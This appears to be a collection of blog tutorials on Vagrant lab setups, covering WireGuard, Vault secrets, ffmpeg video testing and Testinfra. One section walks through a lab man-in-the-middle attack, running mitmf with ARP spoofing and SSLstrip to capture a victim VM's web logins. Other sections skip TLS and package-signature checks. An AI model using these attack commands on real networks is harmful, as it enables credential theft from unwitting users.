Simple VPN via WireGuard

This tutorial will show how to setup a simple test environment via Vagrant and to install, configure and use WireGuard VPN software. In this tutorial Debian 10 is used, you can find the documentation about other OS on WireGuard website.

Preparation

First make sure VirtualBox and Vagrant are installed in latest versions. Now create needed project and files.

# create directory
$ mkdir -p ~/Projects/WireGuard

# change directory
$ cd ~/Projects/WireGuard

# create needed files
$ touch Vagrantfile
$ touch machines.yml
--
- name: host-a
  box: generic/debian10
  ip: 192.168.100.10
  cpus: 1
  memory: 1024
- name: host-b
  box: generic/debian10
  ip: 192.168.100.20
  cpus: 1
  memory: 1024
# -*- mode: ruby -*-
# vi: set ft=ruby :

require 'yaml'
machines = YAML.load_file('machines.yml')

Vagrant.configure("2") do |config|
  machines.each do |machines|
    config.vm.define machines["name"] do |machine|
      # box settings
      machine.vm.hostname = machines["name"]
      machine.vm.box = machines["box"]
      machine.vm.synced_folder ".", "/vagrant", disabled: true
      machine.vm.network "private_network", ip: machines["ip"]

      # virtualbox settings
      machine.vm.provider :virtualbox do |vb|
        vb.name = machines["name"]
        vb.cpus = machines["cpus"]
        vb.memory = machines["memory"]
        vb.gui = false
      end

      # provision all
      machine.vm.provision "shell", name: "all", inline: <<-SHELL
        sudo echo "deb http://deb.debian.org/debian/ unstable main" > /etc/apt/sources.list.d/unstable.list
        sudo printf 'Package: *\nPin: release a=unstable\nPin-Priority: 90\n' > /etc/apt/preferences.d/limit-unstable
        sudo apt update -y && sudo apt install -y wireguard
      SHELL

      # provision only host-a
      if machines["name"] == 'host-a'
        machine.vm.provision "shell", name: "host-a only", inline: <<-SHELL
          sudo su -
          cd ~
          wg genkey > private
          ip link add wg0 type wireguard
          ip addr add 10.0.0.1/24 dev wg0
          wg set wg0 private-key ./private
          ip link set wg0 up
          ip addr
          wg
        SHELL
      end

      # provision only host-b
      if machines["name"] == 'host-b'
        machine.vm.provision "shell", name: "host-b only", inline: <<-SHELL
          sudo su -
          cd ~
          wg genkey > private
          wg pubkey < private
          ip link add wg0 type wireguard
          ip addr add 10.0.0.2/24 dev wg0
          wg set wg0 private-key ./private
          ip link set wg0 up
          ip addr
          wg
        SHELL
      end
    end
  end
end

Usage

All files are created and we can start to start the environment.

# validate Vagrantfile
$ vagrant validate

# start environment
$ vagrant up

For box 1 (host-a)

# ssh into box
$ vagrant ssh host-a

# check network interfaces (for ip)
$ sudo ip addr

# check wg settings
$ sudo wg

# configure VPN interface
$ sudo wg set wg0 peer 0WqUA1Se9Cp/+/AUwiK+K7Nb67kzfyH1Q+SZB9QxFUI= allowed-ips 10.0.0.2/24 endpoint 192.168.100.20:36096

# ping via normal interface and VPN interface
$ ping -c 1  192.168.100.20
$ ping -c 1  10.0.0.1

# check wg settings
$ sudo wg

For box 2 (host-b)

# ssh into box
$ vagrant ssh host-b

# check network interfaces (for ip)
$ sudo ip addr

# check wg settings
$ sudo wg

# configure VPN interface
$ sudo wg set wg0 peer 5QYy8eps/qU2SAZibvfokLwwORxRHQ04JfX9107Db2k= allowed-ips 10.0.0.1/24 endpoint 192.168.100.10:36096

# ping via normal interface and VPN interface
$ ping -c 1  192.168.100.20
$ ping -c 1  10.0.0.2

# check wg settings
$ sudo wg

Important is that your ports and keys will be different and be patient before start ping each other – have fun…

Man in the Middle Attack (MITM)

In this tutorial you will learn how to work a man in the middle attack. For this you will create and configure a simple test environment. The test environment simulates a small home network with a NAT router, a client (victim) and another client (evil) that has already penetrated the network. For the attack itself, you will get in touch with popular mitmf framework.

Attention: The tutorial is presented just for educational purposes. If you do what you have learned outside the test environment, you may be liable to prosecution.

Requirements

  • VirtualBox (5.2.18)
  • Vagrant (2.1.5)

Prepare environment

In the first step, you need to configure, setup and provision the environment. Vagrant will help you here. Via Vagrant you will create all needed virtual machines (incl. SSH keys) and install the needed packages on the evil engine. Via file machines.yml you could add Vagrant boxes for Windows, macOS as well.

# create project
$ mkdir -p ~/Projects/ExampleEnv && cd ~/Projects/ExampleEnv

# create needed files
$ touch Vagrantfile machines.yml

# edit machines.yml (copy content into file)
$ vim machines.yml

# edit Vagrantfile (copy content into file)
$ vim Vagrantfile

# run Vagrant
$ vagrant up
---
  - name: evil
    box: debian/stretch64
    cpus: 1
    memory: 1024
  - name: victim
    box: chad-thompson/ubuntu-trusty64-gui
    cpus: 1
    memory: 1024

Note:Β Please remove the spaces behind etc (in the Vagrantfile)! These are only because of the security settings of my provider.

# -*- mode: ruby -*-
# vi: set ft=ruby :

require 'yaml'
machines = YAML.load_file('machines.yml')

Vagrant.configure("2") do |config|
  machines.each do |machines|
    config.vm.define machines["name"] do |machine|

      # define vagrant box
      machine.vm.box = machines["box"]
      # disbale default synced_folder
      machine.vm.synced_folder ".", "/vagrant", disabled: true
      # configure virtualbox
      machine.vm.provider :virtualbox do |vb|
        vb.name = machines["name"]
        vb.cpus = machines["cpus"]
        vb.memory = machines["memory"]
        vb.gui = false
      end
      # provisioning: only evil
      if machines["name"] == 'evil'
        machine.vm.provision "shell", inline: <<-SHELL
          echo 'deb http://http.kali.org/kali kali-rolling main non-free contrib' >> /etc /apt/sources.list
          echo 'deb-src http://http.kali.org/kali kali-rolling main non-free contrib' >> /etc /apt/sources.list
          apt-get update
          apt-get install -y --allow-unauthenticated mitmf
        SHELL
      end

    end
  end
end

Small network changes

You must now switch from typical NAT to NAT network. For that you stop (halt) all VM’s. In the next steps you will create a new NAT network and configure the VM network adapters for this network. In the end, you simulated a simple home network.

# stop all VM's
$ vagrant halt

# create new VirtualBox NAT-Network
$ VBoxManage natnetwork add --netname homenet --network "192.168.15.0/24" --enable --dhcp on --ipv6 off

# list all NAT-Networks (optional)
$ VBoxManage list natnetworks

# change interfaces from NAT to NAT-Network for evil VM
$ VBoxManage modifyvm evil --nic1 natnetwork --nat-network1 homenet

# change mac address for evil VM
$ VBoxManage modifyvm evil --macaddress1 08002707B96E

# show network configuration for evil (optional)
$ VBoxManage showvminfo evil | grep "NIC"

# change interfaces from NAT to NAT-Network for victim VM
$ VBoxManage modifyvm victim --nic1 natnetwork --nat-network1 homenet

# change mac address for victim VM
$ VBoxManage modifyvm victim --macaddress1 080027C0B653

# some Ubuntu VirtualBox changes
$ VBoxManage modifyvm victim --accelerate3d on --vram 128

# show network configuration for victim (optional)
$ VBoxManage showvminfo victim | grep "NIC"

Start all VM’s again

In this step we start all VM’s but without Vagrant.

# start evil VM
$ VBoxManage startvm evil

# start victim VM
$ VBoxManage startvm victim

Now check the network interfaces for both VM’s. Please note down the IP’s, you will need them in next steps. You can login in both with credentials vagrant:vagrant.

# evil VM
$ ip -4 addr
...
inet 192.168.15.5

# victim VM
$ ip -4 addr
...
192.168.15.6

Note: In the example the evil VM has the IP: 192.168.15.5 and the victim the IP: 192.168.15.6 – this could be different for you.

In order not to use the VirtualBox Terminal, create a port forward from the localhost to the evil VM.

# add port forwarding from localhost to evil VM
$ VBoxManage natnetwork modify --netname homenet --port-forward-4 "evilssh:tcp:[]:2222:[192.168.15.5]:22"

# ssh connection to evil
$ ssh -i .vagrant/machines/evil/virtualbox/private_key -p 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null vagrant@localhost

Man-in-the-middle attack

You made it, the test environment is finally ready. If you have been able to learn something new up to this point, I am glad. Now imagine the following situation. You are the victim and you surf the Internet, logging in on your popular websites. Can you imagine what can happen? In a few minutes you will see it.

Once the Ubuntu has booted, run the following command (as evil) and surf the web using the Firefox browser (as victim). If the mitmf returns an error message, repeat the command in the terminal. Be a bit patient on successful call.

# change to root
$ sudo su -

# enable ip4_forward (only this session)
$ sysctl -w net.ipv4.ip_forward=1

# check ip4_forwarding is enabled (optional)
$ sysctl net.ipv4.ip_forward

# start mitmf (incl. ARP spoofing)
$ mitmf --spoof --arp -i eth0 --gateway 192.168.15.1 --target 192.168.15.6

# start mitmf (incl. ARP spoofing, enabled SSLstrip, Session kill)
$ mitmf --spoof --arp --hsts -k -i eth0 --gateway 192.168.15.1 --target 192.168.15.6

Mitmf still offers a lot of plug-ins, just give it a try.

Vagrant and Vault

I was a little surprised why there is no Vagrant plug-in for Vault. Then I thought no matter, because the Vagrantfile is actually a Ruby script. Let me try it. I have to say right away that I’m not a Ruby developer! But here is my solution which has brought me to the goal.

Prerequisite

  • latest Vault installed (0.11.0)
  • latest Vagrant installed (2.1.3)

Prepare project and start Vault

# create new project
$ mkdir -p ~/Projects/vagrant-vault && cd ~/Projects/vagrant-vault

# create 2 empty files
$ touch vagrant.hcl Vagrantfile

# start Vault in development mode
$ vault server -dev

Here my simple vagrant policy (don’t do that in production).

path "secret/*" {
  capabilities = ["read", "list"]
}

And here is my crazy and fancy Vagrantfile

# -*- mode: ruby -*-
# vi: set ft=ruby :

require 'net/http'
require 'uri'
require 'json'
require 'ostruct'

################ YOUR SETTINGS ####################
ROLE_ID = '99252343-090b-7fb0-aa26-f8db3f5d4f4d'
SECRET_ID = 'b212fb14-b7a4-34d3-2ce0-76fe85369434'
URL = 'http://127.0.0.1:8200/v1/'
SECRET_PATH = 'secret/data/vagrant/test'
###################################################

def getToken(url, role_id, secret_id)
  uri = URI.parse(url + 'auth/approle/login')
  request = Net::HTTP::Post.new(uri)
  request.body = JSON.dump({
    "role_id" => role_id,
    "secret_id" => secret_id
  })

  req_options = {
    use_ssl: uri.scheme == "https",
  }

  response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
    http.request(request)
  end

  if response.code == "200"
    result = JSON.parse(response.body, object_class: OpenStruct)
    token = result.auth.client_token
    return token
  else
    return ''
  end
end

def getSecret(url, secret_url, token)
  uri = URI.parse(url + secret_url)
  request = Net::HTTP::Get.new(uri)
  request["X-Vault-Token"] = token

  req_options = {
    use_ssl: uri.scheme == "https",
  }

  response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
    http.request(request)
  end

  if response.code == "200"
    result = JSON.parse(response.body, object_class: OpenStruct)
    return result
  else
    return ''
  end
end

token = getToken(URL, ROLE_ID, SECRET_ID)

unless token.to_s.strip.empty?
  result = getSecret(URL, SECRET_PATH, token)
  unless result.to_s.strip.empty?
    sec_a = result.data.data.secret_a
    sec_b = result.data.data.secret_b
  end
else
  puts 'Error - please check your settings'
  exit(1)
end

Vagrant.configure("2") do |config|
  config.vm.box = "centos/7"
  config.vm.post_up_message = 'Secret A:' + sec_a + ' - Secret B:' + sec_b
end

Configure Vault

# set environment variables (new terminal)
$ export VAULT_ADDR='http://127.0.0.1:8200'

# check status (optional)
$ vault status

# create simple kv secret
$ vault kv put secret/vagrant/test secret_a=foo secret_b=bar

# show created secret (optional)
$ vault kv get --format yaml -field=data secret/vagrant/test

# create/import vagrant policy
$ vault policy write vagrant vagrant.hcl

# show created policy (optional)
$ vault policy read vagrant

# enable AppRole auth method
$ vault auth enable approle

# create new role
$ vault write auth/approle/role/vagrant token_num_uses=1 token_ttl=10m token_max_ttl=20m policies=vagrant

# show created role (optional)
$ vault read auth/approle/role/vagrant

# show role_id
$ vault read auth/approle/role/vagrant/role-id
...
99252343-090b-7fb0-aa26-f8db3f5d4f4d
...

# create and show secret_id
$ vault write -f auth/approle/role/vagrant/secret-id
...
b212fb14-b7a4-34d3-2ce0-76fe85369434
...

Run it

# starts and provisions the vagrant environment
$ vagrant up

πŸ˜‰ … it just works

Create a simple video test environment (Part 2)

In the first part we created the video test environment and you learned how to extend it. At the end of this tutorial you will know how to embed video content in the video test environment. Therefore, a few basics are shown around ffmpeg (how to create, edit and use videos).

Record and prepare some videos

The recording should contain video and sound and should be 5 minutes long. The content of the video does not matter!

# open Quicktime Player
$ open -a "QuickTime Player"

# press Control-Command-N, start record (approximately 5 min)
# save record into project folder as movie.mov (~/Projects/VideoTest/movie.mov)

As soon as a video is ready we have to create more.

# copy binary (optional)
$ sudo cp ~/Projects/VideoTest/ffmpeg /usr/local/bin/ffmpeg && sudo chmod a+rx /usr/local/bin/ffmpeg

# convert mov into mp4 (copy)
$ ffmpeg -i movie.mov -vcodec copy -acodec copy demo.mp4

# resize mp4 to 320x240 (filter_graph)
$ ffmpeg -i demo.mp4 -vf scale=320:240 ./src/demo_scaled.mp4

# create poster from mp4 (position and frame)
$ ffmpeg -i ./src/demo_scaled.mp4 -ss 00:00:30 -vframes 1 ./src/demo_poster.png

# create m3u8/ts files from mp4 (HLS - Apple HTTP Live Stream)
$ ffmpeg -i demo.mp4 -b:v 1M -g 60 -hls_time 2 -hls_list_size 0 -hls_segment_size 500000 ./src/output.m3u8

# run specific SHELL provisioner
$ vagrant provision --provision-with video

Note: After this step you will have many video files which you willΒ use

  • ./movie.mov (original)
  • ./demo.mp4 (converted)
  • ./src/demo_scaled.mp4 (converted and resized)
  • ./src/output.m3u8
  • ./src/\*.ts

Get in contact with ffmpeg

I assume that ffmpeg is properly installed and the test environment is running.

# create target folder
$ mkdir ~/Projects/VideoTest/test

# extract some images from video
$ ffmpeg -i movie.mov -ss 00:00:30 -t 0.1 -f image2 -qscale 2 -vcodec mjpeg ./test/img-%03d.jpg

# create local m3u8/ts files from mp4
$ ffmpeg -i demo.mp4 -b:v 1M -g 60 -hls_time 2 -hls_list_size 0 -hls_segment_size 500000 ./test/output.m3u8

# extract mp4 from local m3u8/ts files
$ ffmpeg -i test/output.m3u8 -bsf:a aac_adtstoasc -vcodec copy -c copy -crf 50 ./test/output_local.mp4

# extract mp4 from url to m3u8 file (will not work with LiveStream)
$ ffmpeg -i http://localhost:8080/output.m3u8 -c copy -bsf:a aac_adtstoasc stream.mp4

Stream videos

# open browser
$ open -a Safari http://localhost:8080/livestream.html

# stream video (Real-Time Messaging Protocol)
$ ffmpeg -re -i demo.mp4 -vcodec libx264 -vprofile baseline -g 30 -acodec aac -strict -2 -f flv rtmp://localhost/show/stream

Stream from FaceTime HD Camera (macOS)

# open browser
$ open -a Safari http://localhost:8080/livestream.html

# list devices
$ ffmpeg -f avfoundation -list_devices true -i ""

# stream sound and video (Real-Time Messaging Protocol)
$ ffmpeg -f avfoundation -framerate 30 -i "0:0" -pix_fmt yuv420p -vcodec libx264 -vprofile baseline -g 30 -acodec libmp3lame -f flv rtmp://localhost/show/stream

Create a simple video test environment

In this series I would like to clarify the following questions. How can you test local videos and videos provided by a server? What tools are there? How could the test environment look like? … So these tutorials should provide an entry into the subject of video testing. In this part, we will provide the test environment.

Specification

additional Software

Files

# create project
$ mkdir -p ~/Projects/ && cd ~/Projects/

# clone all files from repository
$ git clone https://github.com/Lupin3000/VideoTest.git

# change directory
$ cd ~/Projects/VideoTest

Project Structure

$ tree .
β”œβ”€β”€ src
β”‚   β”œβ”€β”€ directstream.html
β”‚   β”œβ”€β”€ index.html
β”‚   β”œβ”€β”€ livestream.html
β”‚   β”œβ”€β”€ nginx.conf
β”‚   └── simplevideo.html
└── Vagrantfile

Prepare and run your test environment

The test environment will created by Vagrant. The Vagrant Base box needs to be provided with Debian 9. Therefore you have now 2 options. You can use a Debian 9 Base box from Vagrant cloud or you create your own. To create your own Debian 9 Base box you can use my Packer Git repository.

Please ensure, that the Β Vagrantfile is properly configured (config.vm.box_url, config.vm.box) before start-up environment.

# modify Vagrantfile (box name)
$ vim Vagrantfile

# start new environment
$ vagrant up --provision-with install,prepare,start

# open in browser
$ open -a Safari http://localhost:8080/

After successful start you will find some informations on start pageΒ about How-to create, modify, upload and stream videos. In second tutorial we will have a detailed look on it.

StartPage Video Test Environment

To understand the background somewhat better, take a look!

# tail nginx log files (optional)
$ vagrant ssh -c 'sudo tail -f /usr/local/nginx/logs/*.log'

# show content of directory (optional)
$ vagrant ssh -c 'sudo ls -la /tmp/hls/'

Develop some more

There are even more ways to publish video files (Media Streaming Server). You can easily expand the environment. Just customize/create the configurations and files in the “src” folder as well as the Vagrantfile. For Dynamic Adaptive Streaming over HTTP (DASH) support take a look here. This link opens the commercial software solution.

Note: You simply link the IDE with the “src” folder. To change the images and videos, just run vagant provisioner.

# run specific SHELL provisioner (video)
$ vagrant provision --provision-with video

# restart after configuration
$ vagrant up --provision-with stop,prepare,start

Download and install ffmpeg binaries on macOS

Currently official ffmpeg packages are available for Windows, Linux (Debian, Ubuntu, Fedora, RedHat) and macOS. You can download latest versions here.

Here now a solution for macOS users, if you don’t like to install many additional software on your system (static FFmpeg binaries).

# download ffmpeg
$ curl -C - -k https://evermeet.cx/ffmpeg/ffmpeg-3.3.3.7z -o ~/Downloads/ffmpeg-3.3.3.7z

# install debian package
$ vagrant ssh -c 'sudo apt install -y p7zip-full'

# copy archive (into shared folder)
$ cp ~/Downloads/ffmpeg-3.3.3.7z ~/Projects/VideoTest/src/

# unzip archive
$ vagrant ssh -c '7z x /home/vagrant/src/ffmpeg-3.3.3.7z'

# mv binary into src
$ vagrant ssh -c 'mv /home/vagrant/ffmpeg /home/vagrant/src/ffmpeg'

# delete archive (on shared folder)
$ rm ~/Projects/VideoTest/src/ffmpeg-3.3.3.7z

# mv binary into project folder (from shared folder)
$ mv ~/Projects/VideoTest/src/ffmpeg ~/Projects/VideoTest/

# ensure binary is executable
$ chmod +x ffmpeg

Now some basic ffmpeg commands, which should work now. If you like,you can move the binary into directory “/usr/local/”.

# show version
$ ~/Projects/VideoTest/ffmpeg -version

# show help
$ ~/Projects/VideoTest/ffmpeg -help

# list codecs
$ ~/Projects/VideoTest/ffmpeg -codecs

# list formats
$ ~/Projects/VideoTest/ffmpeg -formats

Okay, that’s it for first tutorial.

Quick and dirty sync folders for Vagrant

Background

In our company we have different development teams working with same Vagrant boxes. As a challenge they need different sync folder locations – even inside teams. I’m just too lazy to provide and maintain all Vagrantfile templates for their needs. So i provide a quick and dirty solution for them.

Example

# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  # box name
  config.vm.box = "lupin/centos7"

  # Disable replacing insecure key
  config.ssh.insert_key = false

  # Disable default synced folder
  config.vm.synced_folder ".", "/vagrant", disabled: true

  # Synced folder(s) by argument
  if !ENV['mount'].nil?

    loop do
      puts "local folder: "
      local_dir = STDIN.gets.chomp
      puts "target folder: "
      target_dir = STDIN.gets.chomp

      if local_dir.empty? || target_dir.empty?
        break
      end

      config.vm.synced_folder local_dir, target_dir
    end

  end

 # VirtualBox specific configuration
  config.vm.provider "virtualbox" do |vb|
    vb.gui = false
    vb.memory = "1024"
    vb.cpus = 1
    vb.name = "example_vm"
  end

end

Usage

# simple command
$ vagrant up

# check for synced folder(s)
$ vagrant ssh -c 'ls -la /'

# destroy environment
$ vagrant halt

# run with argument (mount)
$ mount=yes vagrant up
...
local folder:
src_a <ENTER>
target folder:
/vagrant_a <ENTER>
local folder:
src_b <ENTER>
target folder:
/vagrant_b <ENTER>
local folder:
<ENTER>
target folder:
<ENTER>
...

# show content
$ vagrant ssh -c 'cat /vagrant_a/SomeTestFile_a && cat /vagrant_b/SomeTestFile_b'
...
Hello world ... a
Hello world ... b
...

# destroy environment
$ vagrant destroy -f

πŸ˜‰

Test your infrastructure

Infrastructures can be very big. Luckily, there are provisioner like Chef, Salt, Ansible and etc. These provisioners can be very complex and possibly the developer has done something wrong. Therefore the infrastructure has to be tested! Tools like goss, Serverspec and Testinfra helps testers to validate. This tutorial show the first steps with Testinfra.

Testinfra is written in Python very small and easy to understand. Here is the GitHub repository.

Precondition

  • Vagrant (min. 1.9.3) installed
  • Python (min. 2.7) installed
  • pip (min. 9.0.1) and virtualenv (min. 15.1.0) installed
  • make (min. 3.81) installed

Project structure

To get used to it – i prepared some files for you. You only need to change the box name/url in Vagrantfile.

$ tree
.
β”œβ”€β”€ Makefile
β”œβ”€β”€ requirements.txt
β”œβ”€β”€ Vagrantfile
└── tests.py
ENV_DIR = .env
CURRENT_DIR := $(shell pwd)
INTERPRETER = $(CURRENT_DIR)/$(ENV_DIR)/bin/
PATH := ${PATH}:$(INTERPRETER)

help:
	@echo "run make <target> with:"
	@echo " > env       : create virtualenv directory $(ENV_DIR)"
	@echo " > deps      : install dependencies from requirements.txt"
	@echo " > clean_env : delete virtualenv directory $(ENV_DIR)"
	@echo " > up        : run vagrant up"
	@echo " > destroy   : run vagrant destroy"
	@echo " > test      : run testinfra on vagrant environment"
	@echo " > clean_all : delete all files and directories"

env:
	@echo "[RUN]: create virtualenv"
	virtualenv $(ENV_DIR) && \
	. $(ENV_DIR)/bin/activate && \
	make deps

deps:
	@echo "[RUN]: install dependencies"
	$(INTERPRETER)/pip install -r requirements.txt

up:
	@echo "[RUN]: vagrant up"
	vagrant up

destroy:
	@echo "[RUN]: vagrant destroy -f"
	vagrant destroy -f
	rm -fr $(CURRENT_DIR)/.vagrant

test:
	@echo "[RUN]: run testinfr on vagrant environment"
	vagrant ssh-config > $(CURRENT_DIR)/ssh-config
	$(INTERPRETER)/pytest -v --hosts=default --ssh-config=$(CURRENT_DIR)/ssh-config tests.py

clean_all:
	@echo "[RUN]: delete all files and directories"
	rm -fr $(CURRENT_DIR)/.cache $(CURRENT_DIR)/__pycache__
	rm -f $(CURRENT_DIR)/ssh-config
	make destroy
	make clean_env

clean_env:
	@echo "[RUN]: delete virtualenv"
	rm -fr $(ENV_DIR)
testinfra==1.5.4
paramiko==2.1.2
#!/usr/bin/env python

def test_system_type(SystemInfo):
    '''Check OS type'''
    type = SystemInfo.type
    assert type == 'linux'

def test_user_exists(User):
    '''Check user exists'''
    user = User('vagrant')
    assert user.exists

def test_firewalld_is_installed(Package):
    '''Check firewalld is installed'''
    package = Package('firewalld')
    assert package.is_installed

def test_firewalld_running_and_enabled(Service):
    '''Check firewalld service is running and enabled'''
    service = Service('firewalld')
    assert service.is_running
    assert service.is_enabled
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  # disable ssh key update
  config.ssh.insert_key = false

  # vagrant box name
  config.vm.box = ""

  # vagrant box url
  config.vm.box_url = ""

  # disable box update
  config.vm.box_check_update = false

  # disable synced_folder
  config.vm.synced_folder ".", "/vagrant", disabled: true

  # 2nd network interface (public)
  # config.vm.network "public_network"

  # virtualbox settings
  config.vm.provider "virtualbox" do |vb|
    vb.name = "example_vm"
    vb.cpus = "2"
    vb.memory = "2048"
    vb.gui = false
  end

end

Usage

# create virtualenv and install dependencies
$ make env

# create vagrant environment
$ make up

# run tests
$ make test

# delete all generated files and directories
$ make clean_all

Testinfra offers several connections backends for remote command execution and can be used with python standard unit test framework: unittest. So the integration with build servers is easily possible.

Vagrant tipps and tricks

This time a few things which make life easier.

Check for Windows

There a quit some situations for Vagrant where you have platform specific steps to do. Here an example for Windows.

# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|
  # some content

  if Vagrant::Util::Platform.windows? then
    # do something Windows specific
  else
    # do something not Windows specific
  end
end

Set a default provider

By default, VirtualBox is the default provider for Vagrant but sometimes it is needed to change.

# set provider via vagrant up command
$ vagrant up --provider vmware_fusion

It is possible to use environment variables in Vagrantfile. So the 2nd option is to set provider inside Vagrantfile!

# -*- mode: ruby -*-
# vi: set ft=ruby :

ENV['VAGRANT_DEFAULT_PROVIDER'] = 'vmware_fusion'

Vagrant.configure("2") do |config|
  # some content
end

Multiple Vagrantfiles in one directory

Sometimes it could happen that you have multiple Vagrantfiles in one directory. In such case environment variables helps.

# select specific Vagrantfile
$ VAGRANT_VAGRANTFILE=Vagrantfile_01 vagrant up

Create log files

To enable detailed logging use the VAGRANT_LOG environmental variable.

# run with info log level (Linux and Mac OS)
$ VAGRANT_LOG=info vagrant up

# run with info log level (Windows)
$ set VAGRANT_LOG=info
$ vagrant up

Level names can be “debug”, “info”, “warn” and “error”.

Jenkins log without colored output

For Jenkins log, the color output is superfluous! Here an simple example:

pipeline {
  agent any

  stages {
    stage('Build') {
      steps {
        // Make the output without color
        vagrant up --no-color
      }
    }
  }
}